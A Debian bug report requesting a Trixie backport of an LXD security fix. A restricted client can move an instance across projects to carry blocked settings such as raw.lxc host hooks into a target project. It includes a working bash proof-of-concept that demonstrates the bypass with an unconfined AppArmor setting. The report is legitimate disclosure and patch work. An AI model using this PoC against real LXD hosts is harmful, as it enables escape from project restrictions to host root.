Package: src:lxd Version: 5.0.2+git20231211.1364ae4-9+deb13u7 Severity: important Tags: patch security X-Debbugs-Cc: [email protected]
Hello LXD maintainers, I am requesting a backport of the upstream fix for CVE-2026-63300 to Trixie. Restricted LXD projects let an operator delegate instance creation while blocking settings that expose the host or protected resources. Trixie's LXD implements a cross-project move as an internal copy, but does not apply the target project's normal creation check to the copied configuration or devices. The instance is not revalidated when it starts. A project-scoped HTTPS client can therefore carry blocked `raw.lxc` host hooks, host-path devices, hardware, or network access into the target. Those settings can execute as host root or expose resources that the target policy was meant to protect. I reproduced this through the daemon HTTPS API with a client certificate restricted to the source and target projects. Direct creation of a container with `raw.lxc=lxc.apparmor.profile=unconfined` in the target was rejected, but moving the same instance from the source succeeded and preserved that config. Canonical's advisory and patches are: https://github.com/canonical/lxd/security/advisories/GHSA-5g5r-wh97-qcq2 https://github.com/canonical/lxd/pull/18605 https://github.com/canonical/lxd/commit/ba6e583b7a417fbe4043e3abdfb922a1fe6494f7 https://github.com/canonical/lxd/pull/18821 https://github.com/canonical/lxd/commit/8d122a86c4f52c088c341ebbce0cdc5070876b43 The attached patch is an adapted backport, rather than a byte-for-byte copy: Trixie's older 5.0.2 source predates prerequisite upstream refactoring. It puts the same target-project AllowInstanceCreation and AllowSnapshotCreation checks at the common copy path. It also follows these related stable-5.0 hardening commits for cross-project copy and backup snapshot restore: https://github.com/canonical/lxd/commit/16685963288b88179ef58451e2f0d7ede31037e2 https://github.com/canonical/lxd/commit/e9506926a0c42a61f7f624a2d3c6fbf9c7bd3e1c It applies cleanly to Trixie, preserves source behavior, rejects the PoC, and also validates the related cross-project copy and snapshot restore paths. Could this be included in a Trixie security update? AI tools were used to assist this research and draft. The attached patch and its PoC were manually validated against Trixie. Regards, Artem Dinaburg Trail of Bits
fix.patch
Description: Binary data
#!/usr/bin/env bash
set -euo pipefail
runtime=$(mktemp -d --tmpdir=/tmp CVE-2026-63300.XXXXXX)
source_project=cve63300-source-$$
target_project=cve63300-target-$$
client=lxd-cve63300-$$
instance=bypass-$$
control=blocked-$$
cleanup() {
sudo lxc delete "$instance" --project "$source_project" --force-local 2>/dev/null || true
sudo lxc delete "$instance" --project "$target_project" --force-local 2>/dev/null || true
sudo lxc delete "$control" --project "$target_project" --force-local 2>/dev/null || true
sudo lxc config trust remove "$fingerprint" --force-local 2>/dev/null || true
sudo lxc project delete "$source_project" --force-local 2>/dev/null || true
sudo lxc project delete "$target_project" --force-local 2>/dev/null || true
}
trap cleanup EXIT
fingerprint=unknown
sudo systemctl start lxd.socket
sudo lxd waitready
if ! sudo lxc storage show default --force-local >/dev/null 2>&1; then
sudo lxd init --minimal
fi
sudo lxc project create "$source_project" --force-local \
-c restricted=true -c restricted.containers.lowlevel=allow
sudo lxc project create "$target_project" --force-local -c restricted=true
for project in "$source_project" "$target_project"; do
sudo lxc profile device add default root disk --force-local \
--project "$project" path=/ pool=default
done
sudo lxc config set core.https_address 127.0.0.1:8443 --force-local
openssl req -x509 -newkey rsa:2048 -nodes -days 1 -subj "/CN=$client" \
-keyout "$runtime/client.key" -out "$runtime/client.crt" >/dev/null 2>&1
sudo lxc config trust add "$runtime/client.crt" --force-local \
--name "$client" --restricted --projects "$source_project,$target_project"
fingerprint=$(openssl x509 -in "$runtime/client.crt" -outform DER |
sha256sum | cut -d ' ' -f1)
mkdir "$runtime/client"
cp "$runtime/client.crt" "$runtime/client/client.crt"
cp "$runtime/client.key" "$runtime/client/client.key"
LXD_CONF="$runtime/client" lxc remote add victim https://127.0.0.1:8443 \
--accept-certificate --project "$source_project" </dev/null
if direct=$(LXD_CONF="$runtime/client" lxc init "victim:$control" --empty \
--project "$target_project" -c raw.lxc=lxc.apparmor.profile=unconfined 2>&1); then
direct_status=0
else
direct_status=$?
fi
if [[ $direct_status -eq 0 || $direct != *'low-level config "raw.lxc"'* ]]; then
printf '%s\n' "$direct"
echo "Control failed: target project did not reject low-level configuration" >&2
exit 2
fi
LXD_CONF="$runtime/client" lxc init "victim:$instance" --empty \
--project "$source_project" -c raw.lxc=lxc.apparmor.profile=unconfined
if move=$(LXD_CONF="$runtime/client" lxc move "victim:$instance" \
--target-project "$target_project" 2>&1); then
move_status=0
else
move_status=$?
fi
printf '%s\n' "$move"
if [[ $move_status -eq 0 ]] &&
[[ $(LXD_CONF="$runtime/client" lxc config get "victim:$instance" raw.lxc \
--project "$target_project") == lxc.apparmor.profile=unconfined ]]; then
echo "VULNERABLE: restricted TLS client moved low-level config into target"
exit 0
fi
if [[ $move == *'Instance cannot be placed in project'* ]] &&
[[ $move == *'low-level config "raw.lxc"'* ]]; then
echo "PATCHED: target restrictions rejected the move"
exit 1
fi
echo "NOT REPRODUCED"
exit 2

